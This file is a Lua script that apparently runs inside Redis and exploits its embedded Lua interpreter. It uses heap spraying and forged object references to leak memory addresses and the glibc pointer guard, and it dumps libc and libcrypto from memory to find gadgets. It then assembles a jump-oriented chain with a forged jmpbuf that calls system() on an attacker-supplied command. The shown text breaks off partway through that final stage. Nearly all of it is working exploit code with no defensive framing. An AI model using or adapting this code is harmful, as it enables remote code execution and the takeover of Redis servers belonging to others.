local GlobalState = getmetatable("")

GlobalState.proxytable = {
  proxy=0,
}
GlobalState.spray1 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray2 = {
  1,2,3,4,5,6,7,8,9
}
GlobalState.spray3 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray4 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray5 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray6 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray7 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.spray8 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}
GlobalState.sprayi = 1
GlobalState.sprays = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}

GlobalState.prefixes2 = {
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
}

local log_s = function(s)
  redis.log(redis.LOG_NOTICE, s)
end

local log = function(fmt, ...)
  redis.log(redis.LOG_NOTICE, string.format(fmt, ...))
end

local new_largechunk = function()
  return 'X' .. ARGV[2]
end

local new_spray = function() 
  local spray = {
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  }
  GlobalState.sprays[GlobalState.sprayi] =  spray
  GlobalState.sprayi = GlobalState.sprayi + 1
  return spray
end

local LargeChunk = new_largechunk()

local ElfParser = {
  new = function(self)
    local o = {}
    setmetatable(o, self)
    self.__index = self
    return o
  end,

  parse_header = function(self, bytes)
    local ident = string.sub(bytes, 1, 16)
    local rest = string.sub(bytes, 17, 64)
    local a,b,c,d,e,f,g,h,i,j,k,m,n = struct.unpack("<H<H<I<L<L<L<I<H<H<H<H<H<H", rest)

    self.header = {
      ident=ident,
      e_type=a,
      e_machine=b,
      e_version=c,
      e_entry=d,
      e_phoff=e,
      e_shoff=f,
      e_flags=g,
      e_ehsize=h,
      e_phentsize=i,
      e_phnum=j,
      e_shentsize=k,
      e_shnum=m,
      e_shstrndx=n,
    }

    return self.header
  end,

  parse_program_headers = function(self, bytes)
    local sectionbytes = string.sub(
      bytes,
      self.header.e_phoff + 1,
      self.header.e_phoff + (self.header.e_phentsize * self.header.e_phnum)
    )

    local minva = 0xffffffffffffffff
    local hdrs = {}
    for i=0,self.header.e_phnum - 1 do
      local start = i * self.header.e_phentsize
      local phbytes = string.sub(sectionbytes, start + 1, start + self.header.e_phentsize)
      local a,b,c,d,e,f,g,h = struct.unpack("<I<I<L<L<L<L<L<L", phbytes)

      local hdr = {
        _offset=0,
        p_type=a,
        p_flags=b,
        p_offset=c,
        p_vaddr=d,
        p_paddr=e,
        p_filesz=f,
        p_memsz=g,
        p_align=h,
      }

      if hdr.p_type == 1 and hdr.p_vaddr < minva then
        minva = hdr.p_vaddr
      end

      hdrs[#hdrs + 1] = hdr
    end

    hdrs.minva = minva
    for _, hdr in ipairs(hdrs) do
      hdr._offset = hdr.p_vaddr - minva
    end

    self.program_headers = hdrs
    return hdrs
  end,

  get_symbols = function(self, sectionbytes, stringtable)
    local symbols = {}  
  
    for i=0,#sectionbytes-1,0x18 do
      local sbytes = string.sub(sectionbytes, i+1, i+0x18)
      local a,b,c,d,e,f = struct.unpack("<IBB<H<L<L", sbytes)
      local name = self:_get_string(stringtable, a)
  
      symbols[#symbols+1] = {
        _name=name,
        st_name=a,
        st_info=b,
        st_other=c,
        st_shndx=d,
        st_value=e,
        st_size=f,
      }
    end
  
    return symbols
  end,

  get_relocations = function(self, sectionbytes, symboltable)
    local relocations = {}
    for i=0,#sectionbytes-1,0x18 do
      local rbytes = string.sub(sectionbytes, i + 1, i+0x18)
      local r_offset,r_info,r_addend = struct.unpack("<L<L<l", rbytes)
      
      -- bit module only supports 32bits
      local _, _, index = struct.unpack("<L<I<I", rbytes) 
      local symbol = symboltable[index+1]

      relocations[#relocations + 1] = {
        _symbol= symbol,
        _offset=r_offset - self.program_headers.minva,
        r_offset=r_offset,
        r_info=r_info,
        r_addend=r_addend
      }
    end

    return relocations
  end,

  _get_section = function(self, hdr, bytes)
    return string.sub(bytes, hdr.sh_offset + 1, hdr.sh_offset + hdr.sh_size)
  end,

  _get_string = function(self, stringtable, offset)
    local i = string.find(stringtable, "\0", offset+1, true)
    return string.sub(stringtable, offset+1, i-1)
  end,
}

local bit64 = {
  text_tobytes = function(self, text)
    local a,b,c,d,e,f,g,h = struct.unpack("BBBBBBBB", text)
    return {a,b,c,d,e,f,g,h}
  end,

  text_frombytes = function(self, bytes)
    return struct.pack("BBBBBBBB", unpack(bytes))
  end,

  bits_frombytes = function(self, bytes)
    local bits = {}
  
    for _, byte in ipairs(bytes) do
      for j=0,7 do
        bits[#bits+1] = bit.band(bit.rshift(byte, j), 1)
      end
    end
  
    return bits
  end,

  bits_tobytes = function(self, bits, res)
    local n = 1
  
    for i=0,#bits-1,8 do
      local byte = 0
  
      for j=0,7 do
        byte = bit.bor(byte, bit.lshift(bits[i+j+1], j))
      end
    
      res[n] = byte
      n = n + 1
    end

    return res
  end,

  rol = function(self, bytes, n)
    local bits = self:bits_frombytes(bytes)
    local nbits = {}

    for i, bit_ in ipairs(bits) do
      local j = math.fmod((i - 1 + n), #bits)
      nbits[j+1] = bit_
    end
  
    return self:bits_tobytes(nbits, bytes)
  end,

  ror = function(self, bytes, n)
    local bits = self:bits_frombytes(bytes)
    local nbits = {}
  
    for i, bit_ in ipairs(bits) do
      local k = math.fmod(#bits - (i - n - 1), #bits)
      local j = math.fmod(#bits - k, #bits)

      nbits[j+1] = bit_
    end
  
    return self:bits_tobytes(nbits, bytes)
  end,

  xor = function(self, bytes, valuebytes)
    if #bytes ~= #valuebytes then
      log_s("xor: mismatched size")
      error("Abort")
    end

    for i=1,#bytes do
      bytes[i] = bit.bxor(bytes[i], valuebytes[i])
    end

    return bytes
  end,

  print_bytes = function(self, bytes)
    log("%02x %02x %02x %02x %02x %02x %02x %02x", unpack(bytes))
  end
}

local ptr_mangle = function(ptrtext, pointerguard)
  local bytes = bit64:text_tobytes(ptrtext)
  bit64:xor(bytes, pointerguard)
  bit64:rol(bytes, 0x11)
  return bit64:text_frombytes(bytes)
end

local ptr_demangle = function(ptrtext, pointerguard)
  local bytes = bit64:text_tobytes(ptrtext)
  bit64:ror(bytes, 0x11)
  bit64:xor(bytes, pointerguard)
  return bit64:text_frombytes(bytes)
end

local extract_elf_offsets = function(parser, bytes)
  local ret = {
    size=0,
    text=0,
    text_end=0,
    dynamic=0,
    dynamic_end=0,
  }

  local last = parser.program_headers[1]
  for _, hdr in ipairs(parser.program_headers) do
    -- SHF_PROGBITS, SHF_EXECINSTR | SHF_ALLOC
    if hdr.p_type == 1 and hdr.p_flags == 5 then
      ret.text = hdr._offset
      ret.text_end = hdr._offset + hdr.p_memsz
    end

    if hdr.p_type == 2 then
      ret.dynamic = hdr._offset
      ret.dynamic_end = hdr._offset + hdr.p_memsz
    end

    if hdr._offset + hdr.p_memsz > last._offset + last.p_memsz then
      last = hdr
    end
  end

  ret.size = last._offset + last.p_memsz
  return ret
end

local parse_dynamic = function(bytes, dynstart, dynend) 
  local dyns = {}

  for off=dynstart,dynend-1,0x10 do
    local dbytes = string.sub(bytes, off + 1, off + 0x10)
    local d_tag, d_val = struct.unpack("<l<L", dbytes)
    dyns[#dyns + 1] = { d_tag=d_tag, d_val=d_val }  
  end

  return dyns
end

local extract_dynamic_offsets = function(dyns, baseaddr)
  local ret = {
    gotplt=0,
    strtab=0,
    strtab_size=0,
    symtab=0,
    symtab_size=0,
    rela=0,
    rela_size=0,
    pltrel=0,
    pltrel_size=0,
  }

  for _, dyn in ipairs(dyns) do
    if dyn.d_tag == 3 then
      ret.gotplt = dyn.d_val - baseaddr
    elseif dyn.d_tag == 5 then
      ret.strtab = dyn.d_val - baseaddr
    elseif dyn.d_tag == 10 then
      ret.strtab_size = dyn.d_val
    elseif dyn.d_tag == 6 then
      ret.symtab = dyn.d_val - baseaddr
    elseif dyn.d_tag == 7 then
      ret.rela = dyn.d_val - baseaddr
    elseif dyn.d_tag == 8 then
      ret.rela_size = dyn.d_val
    elseif dyn.d_tag == 23 then
      ret.pltrel = dyn.d_val - baseaddr
    elseif dyn.d_tag == 2 then
      ret.pltrel_size = dyn.d_val
    end
  end

  -- This assumption may not hold
  ret.symtab_size = ret.strtab - ret.symtab
  return ret
end

local extract_relocations = function(dump, wanted)
  local ret = {}
  local lookup = {}

  for _, reloc in ipairs(dump.relocations) do
    if wanted[reloc._symbol._name] then
      lookup[#lookup + 1] = reloc
    end
  end

  for _, reloc in ipairs(lookup) do
    local text = string.sub(dump.progbytes, reloc._offset + 1, reloc._offset + 8)
    local addr = struct.unpack("<L", text)
    ret[reloc._symbol._name] = {
      text=text, 
      addr=addr,
      reloc=reloc,
    }
  end

  return ret
end

local extract_symbols = function(dump, wanted)
  local ret = {}
  local imgstart = dump.progbytes_addr
  local imgend = dump.progbytes_addr + #dump.progbytes

  for _, symbol in ipairs(dump.symbols) do
    if wanted[symbol._name] then
      local addr

      if symbol.st_value >= imgstart and symbol.st_value < imgend then
        addr = symbol.st_value
      else
        addr = dump.progbytes_addr + symbol.st_value
      end

      ret[symbol._name] = { symbol=symbol, addr=addr }
    end
  end

  return ret
end

local _forge_reference_prefix = function(addr, tag)
  local prefix = string.sub(GlobalState.sprayfo1[1], 1, 0x48)
  local suffix = string.sub(GlobalState.sprayfo1[1], 0x59, 0x9d)
  local s = prefix .. addr .. tag .. suffix
  return s
end

local forge_reference = function(addr, tag)
  -- Forge a reference to addr of the given type (denoted by tag)

  local s = _forge_reference_prefix(addr, tag)

  for i=1,#GlobalState.sprayfo1 do
    GlobalState.sprayfo1[i] = 0
    collectgarbage("restart")
    collectgarbage("step")
    GlobalState.sprayfo1[i] = s .. GlobalState.prefixes1[i]
  end
end

local forge_reference_prepare_heap = function(addr, tag, n)
  local spray = {
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
  }

  if n == nil then
    n = 6
  end

  local pi = 1
  local s = _forge_reference_prefix(addr, tag)

  for i=1,n do
    spray[i] =  s .. GlobalState.prefixes1[pi]
    pi = pi + 1
  end

  GlobalState.sprays[GlobalState.sprayi] = spray
  GlobalState.sprayi = GlobalState.sprayi + 1
end

local forge_tstring_reference = function(addr)
  local tag = "\004\000\000\000\000\000\000\000"
  forge_reference(addr, tag)
end

local forge_table_reference = function(addr)
  local tag = "\005\000\000\000\000\000\000\000"
  forge_reference(addr, tag)
end

local forge_function_reference = function(addr)
  local tag = "\006\000\000\000\000\000\000\000"
  forge_reference(addr, tag)
end

local forge_thread_reference = function(addr)
  local tag = "\008\000\000\000\000\000\000\000"
  forge_reference(addr, tag)
end

local extract_globalstate_address = function(s)
  local text = string.sub(s, 0x59, 0x60)
  local addr = struct.unpack("<L", text)
  log("global_State address=0x%x", addr)
  return addr
end

local extract_errorjmp_address = function(s)
  local text = string.sub(s, 0x81, 0x88)
  local addr = struct.unpack("<L", text)
  log("errorJmp address=0x%x", addr)
  return addr
end

local extract_registry_address = function(s)
  local addr = string.sub(s, 0x89, 0x90)
  log("registry address=0x%x", struct.unpack("<L", addr))
  return addr
end

local extract_panic_address = function(s)
  local text = string.sub(s, 0x81, 0x88)
  local addr = struct.unpack("<L", text)
  log("panic() address=0x%x", addr)
  return addr
end

local extract_mainthread_address = function(s)
  local text = string.sub(s, 0x99, 0x100)
  local addr = struct.unpack("<L", text)
  log("mainthread address=0x%x", addr)
  return addr
end

local extract_tablearray_tvalue = function(s)
  local text = string.sub(s, 0x49, 0x50)
  local addr = struct.unpack("<L", text)
  return addr
end

local extract_pointerguard = function(s)
  local text = string.sub(s, 0x19, 0x20)
  -- Pointerguard converted to double loses precision so we store as bytearray
  local bytes = bit64:text_tobytes(text)
  log("pointerguard: %02x %02x %02x %02x %02x %02x %02x %02x", unpack(bytes))
  return bytes
end

local dump_binary = function(t, opts)
  local parser = ElfParser:new()
  local progbytes
  local progbytes_addr = opts.addr - (opts.addr % 0x1000)
  local details

  while true do
    collectgarbage("restart")
    forge_tstring_reference(struct.pack("<L", progbytes_addr - 0x10))
    collectgarbage("stop")

    local str = getmetatable(t.proxy)[1]

    -- Elf magic bytes, cast from long -> double, can lose precision
    if #str == opts.signature then
      local prolog = "\0\0\0\0\0\0\0\0" .. string.sub(str, 1, 0x1000)

      log_s("Parsing ELF header")
      parser:parse_header(prolog)

      log_s("Parsing program headers")
      parser:parse_program_headers(prolog)
      details = extract_elf_offsets(parser, str)
      
      log_s("Copying bytes")
      progbytes = "\0\0\0\0\0\0\0\0" .. string.sub(str, 1, details.size)

      str = nil
      break
    end
    
    str = nil
    progbytes_addr = progbytes_addr - 0x1000
  end

  log_s("Parsing .dynamic")
  local dynamic = parse_dynamic(progbytes, details.dynamic, details.dynamic_end)
  local dyndetails = extract_dynamic_offsets(dynamic, progbytes_addr)

  local symboltable = nil
  local relocations = nil

  if opts.symbols then
    log_s("Extracting .dynsym, .dynstr, .rela.plt")
    local stringtable = string.sub(progbytes, dyndetails.strtab+1, dyndetails.strtab + dyndetails.strtab_size)
    local symboltable_bytes = string.sub(progbytes, dyndetails.symtab+1, dyndetails.symtab + dyndetails.symtab_size)
    local relocations_bytes = string.sub(progbytes, dyndetails.pltrel+1, dyndetails.pltrel + dyndetails.pltrel_size)
    
    log_s("Parsing symbols")
    symboltable = parser:get_symbols(symboltable_bytes, stringtable)

    if opts.relocations then
      log_s("Parsing relocations")
      relocations = parser:get_relocations(relocations_bytes, symboltable)
    end
  end

  return {
    progbytes=progbytes,
    progbytes_addr=progbytes_addr,
    symbols=symboltable,
    relocations=relocations,
    offsets=details,
  }
end

local gadget_addr = function(dump, text_offset)
  if text_offset == nil then
    log_s("Failed to find gadget")
    error("Abort")
  end

  return dump.progbytes_addr + dump.offsets.text + (text_offset - 1)
end

local extract_gadgets = function(libcdump, libcryptodump)
  local libc_text = string.sub(
    libcdump.progbytes, 
    libcdump.offsets.text + 1, 
    libcdump.offsets.text_end
  )

  local libcrypto_text = string.sub(
    libcryptodump.progbytes,
    libcryptodump.offsets.text + 1, 
    libcryptodump.offsets.text_end
  )

  log_s("------")
  -- mov rax, qword ptr [rdi] ; mov rsi, qword ptr [rdi + 0x10] ; call qword ptr [rax + 0x38]
  local d1a = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\007\072\139\119\016\255\080\056"))
  log("d1a=0x%x", d1a)
  -- mov rdi, rax ; call qword ptr [rax + 0x18]
  local d1b = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\137\199\255\080\024"))
  log("d1b=0x%x", d1b)

  -- mov rax, qword ptr [rdx + 0xa0] ; jmp qword ptr [rax + 8]
  local d2a = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\130\160\000\000\000\255\096\008"))
  log("d2a=0x%x", d2a)
  -- mov rdx, rax ; jmp rcx
  local d2b = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\137\194\255\225"))
  log("d2b=0x%x", d2b)
  -- jmp qword ptr [rdx]
  local d2c = gadget_addr(libcryptodump, string.find(libcrypto_text, "\255\034"))
  log("d2c=0x%x", d2c)

  -- mov rcx, qword ptr [rax + 0x10] ; mov rdx, rax ; jmp rcx
  local f1 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\072\016\072\137\194\255\225"))
  log("f1=0x%x", f1)

  -- mov rdi, qword ptr [rdi + 8] ; call qword ptr [rax + 0x30]
  local f2_offset = string.find(libcrypto_text, "\072\139\127\008\255\080\048")
  if f2_offset == nil then
    -- mov rdi, qword ptr [rdi + 8] ; call qword ptr [rax + 0x40]
    f2_offset = string.find(libcrypto_text, "\072\139\127\008\255\080\064")
  end

  local f2 = gadget_addr(libcryptodump, f2_offset)
  log("f2=0x%x", f2)

  -- mov rdi, rsi ; mov rsi, qword ptr [rdx + 8] ; jmp qword ptr [rdx]
  local f7 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\137\247\072\139\114\008\255\034", 1, true))
  log("f7=0x%x", f7)
  
  -- mov rax, qword ptr [rdi + 0xb8] ; jmp qword ptr [rax + 8]
  local f11 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\135\184\000\000\000\255\096\008", 1, true))
  log("f11=0x%x", f11)

  -- mov rax, qword ptr [rdi + 0xa0] ; jmp qword ptr [rax + 0x10]
  local f12 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\135\160\000\000\000\255\096\016", 1, true))
  log("f12=0x%x", f12)

  -- mov rsi, qword ptr [rax + 8] ; jmp qword ptr [rax]
  local f14 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\112\008\255\032", 1, true))
  log("f14=0x%x", f14)

  log_s("------")

  return {
    d1a=d1a,
    d1b=d1b,
    d2a=d2a,
    d2b=d2b,
    d2c=d2c,
    f1=f1,
    f2=f2,
    f7=f7,
    f11=f11,
    f12=f12,
    f14=f14,
  }
end

local leak_tstring_address = function(t, obj, free)
  local cmd = ARGV[3]
  local spray = new_spray()

  for i=1,#spray do
    spray[i] = {obj, obj, obj, obj, obj, obj, obj, obj}
  end

  -- Array containing our reference is adjacent to Table

  local a2 
  local a1
  local index 
  for i=2,#spray do
    a1 = tonumber(string.sub(tostring(spray[i-1]), 8), 16)
    a2 = tonumber(string.sub(tostring(spray[i]), 8), 16)
    if (a2 - a1) == 0xe0 then
      index = i
      break
    end
    a1 = a2
  end

  if a2 - a1 ~= 0xe0 then
    log_s("Failed to command address")
    error("Abort")
  end

  collectgarbage("restart")
  collectgarbage("step")

  forge_reference_prepare_heap("AAAAAAAA", "AAAAAAAA", 64)
  log("Leaking table array from: 0x%x", a1 + 0x20)
  forge_tstring_reference(struct.pack("<L", a1 + 0x20))
  collectgarbage("stop")

  local addr = extract_tablearray_tvalue(getmetatable(t.proxy)[1])
  log("address=0x%x", addr)
  
  collectgarbage("restart")
  collectgarbage("step")

  if free then
    for i=1,#spray do
      spray[i] = 0
    end
  end

  return addr + 0x18
end

local leak_command_address = function(t)
  local cmd = ARGV[3]
  return leak_tstring_address(t, cmd)
end

local leak_thread = function(t, fnlookup) 
  local spray = GlobalState.spray8

  for i=1,#spray do
    spray[i] = coroutine.create(function() fnlookup.fn() end)
  end

  local addr = nil
  local addr2 = nil
  for i=2,#spray do
    local a2 = tonumber(string.sub(tostring(spray[i]), 9), 16)
    local a1 = tonumber(string.sub(tostring(spray[i - 1]), 9), 16)

    if a2 - a1 == 0x4f0 then
      addr = a1
      addr2 = a2
      break
    end
  end

  if addr == nil then
    log_s("Failed to leak thread template")
    error("Abort")
  end

  collectgarbage("restart")
  collectgarbage("step")

  forge_reference_prepare_heap("BBBBBBBB", "BBBBBBBB", 64)
  log("Leaking thread: from=0x%x, target=0x%x", addr, addr2)
  forge_tstring_reference(struct.pack("<L", addr + 0x28))    -- Overlap len over `l_G`
  
  collectgarbage("stop")
  local str = getmetatable(t.proxy)[1]
  local template = string.sub(str, 0x4f0 - 0x28 - 0x18 + 1, 0x4f0 - 0x28 - 0x18 + 0xb8)

  collectgarbage("restart")
  collectgarbage("step")

  return template
end

local leak_pointerguard = function(t, serveraddr)
  log("Leaking pthread@TLS address: server=0x%x", serveraddr)
  forge_reference_prepare_heap("EEEEEEEE", "EEEEEEEE", 64)
  forge_tstring_reference(struct.pack("<L", serveraddr - 0x8))

  local str = getmetatable(t.proxy)[1]
  local pthreadaddr = #str
  str = nil

  collectgarbage("restart")
  collectgarbage("step")

  log("Leaking pointerguard: pthread=0x%x", pthreadaddr)
  forge_tstring_reference(struct.pack("<L", pthreadaddr))

  local pg = extract_pointerguard(getmetatable(t.proxy)[1])

  collectgarbage("restart")
  collectgarbage("step")

  return pg
end

local leak_jmpbuf = function(t, errorjmpaddr)
  log("Leaking jmpbuf from errorJmp: errorJmp=0x%x", errorjmpaddr)
  forge_reference_prepare_heap("FFFFFFFF", "FFFFFFFF", 64)
  forge_tstring_reference(struct.pack("<L", errorjmpaddr - 0x20))

  local jmpbuf = string.sub(getmetatable(t.proxy)[1], 0x11, 0xd8)

  collectgarbage("restart")
  collectgarbage("step")

  return jmpbuf
end

local new_cclosure = function(t, gadgets) 
  local cclosure = 
    "\1\2\3\4\5\6\7\8" ..                 -- next 
    "\6\0\1\0" ..                         -- tt, marked, isC, nupvalues
    "\0\0\0\0" ..                         -- [padding]
    "\0\0\0\0\0\0\0\0" ..                 -- gclist
    "\0\0\0\0\0\0\0\0" ..                 -- env
    struct.pack("<L", gadgets.d1a) ..     -- f
    "\0\0\0\0\0\0\0\0" ..                 -- upvalue[0]
    "\0\0\0\0\0\0\0\0"                    -- upvalue[0]

  return leak_tstring_address(t, cclosure)
end

local new_thread = function(t, addrs, template)
  local thread = struct.pack("<L", addrs.jopstate) .. string.sub(template, 9)
  return leak_tstring_address(t, thread)
end


local jmpbuf_sensecheck = function(rip, redisdump)
  local addr = struct.unpack("<L", rip)

  local s = redisdump.progbytes_addr + redisdump.offsets.text
  local e = s + #redisdump.progbytes

  if addr >= s and addr < e then
    log("jmpbuf.rip=0x%x", addr)
  else
    log("ERROR: sense check failed, jmpbuf.rip=0x%x", addr)
    error("Abort")
  end
end

local new_jmpbuf = function(t, jmpbuf, pointerguard, gadgets, redisdump, nstate, fstate)
  local rip = ptr_demangle(string.sub(jmpbuf, 0x39, 0x40), pointerguard)
  local rsp = ptr_demangle(string.sub(jmpbuf, 0x31, 0x38), pointerguard)
  local rbp = ptr_demangle(string.sub(jmpbuf, 0x9, 0x10), pointerguard)
  local ssp = string.sub(jmpbuf, 0x59, 0x60)

  rsp = struct.unpack("<L", rsp)
  ssp = struct.unpack("<L", ssp)

  log_s("Sense checking jmpbuf/pointerguard:")
  jmpbuf_sensecheck(rip, redisdump)
  log("jmpbuf.rsp=0x%x", rsp)
  log("jmpbuf.rbp=0x%x", struct.unpack("<L", rbp))
  log("jmpbuf.ssp=0x%x", ssp)

  rsp = rsp - 8
  ssp = ssp - 8

  local njmpbuf =
    string.sub(jmpbuf, 0x1, 0x8) ..
    ptr_mangle(rbp, pointerguard) ..
    string.sub(jmpbuf, 0x11, 0x30) ..
    ptr_mangle(struct.pack("<L", rsp), pointerguard) ..
    ptr_mangle(struct.pack("<L", gadgets.f11), pointerguard) ..
    string.sub(jmpbuf, 0x41, 0x58) ..
    struct.pack("<L", ssp) ..
    string.sub(jmpbuf, 0x61, 0xa0) ..
    struct.pack("<L", fstate) ..
    string.sub(jmpbuf, 0xa9, 0xb8) ..
    struct.pack("<L", nstate) ..
    string.sub(jmpbuf, 0xb9)

  return leak_tstring_address(t, njmpbuf)
end

local new_jopstate = function(t, addrs, gadgets, jmpbuf, pointerguard, redisdump)  
  ------------------------------------------------------------
  --- Stage3 - call system -----------------------------------
  ------------------------------------------------------------

  -- 15.2
  local s3e = 
    "\0\0\0\0\0\0\0\0" ..                               --  0x0
    struct.pack("<L", gadgets.f7)                       --  0x8

  -- 14.2
  local s3d = 
    struct.pack("<L", addrs.system) ..                  --  0x0
    struct.pack("<L", gadgets.d2b) ..                   --  0x8
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x10
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x20
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x30
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x40
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x50
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x60
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x70
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x80
    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ..               --  0x90
    struct.pack("<L", leak_tstring_address(t, s3e))     --  0xa0

  -- 13.1
  local s3c = 
    struct.pack("<L", gadgets.d2b) ..                   --  0x0
    struct.pack("<L", addrs.command) ..                 --  0x8
    struct.pack("<L", gadgets.f14) ..                   --  0x10
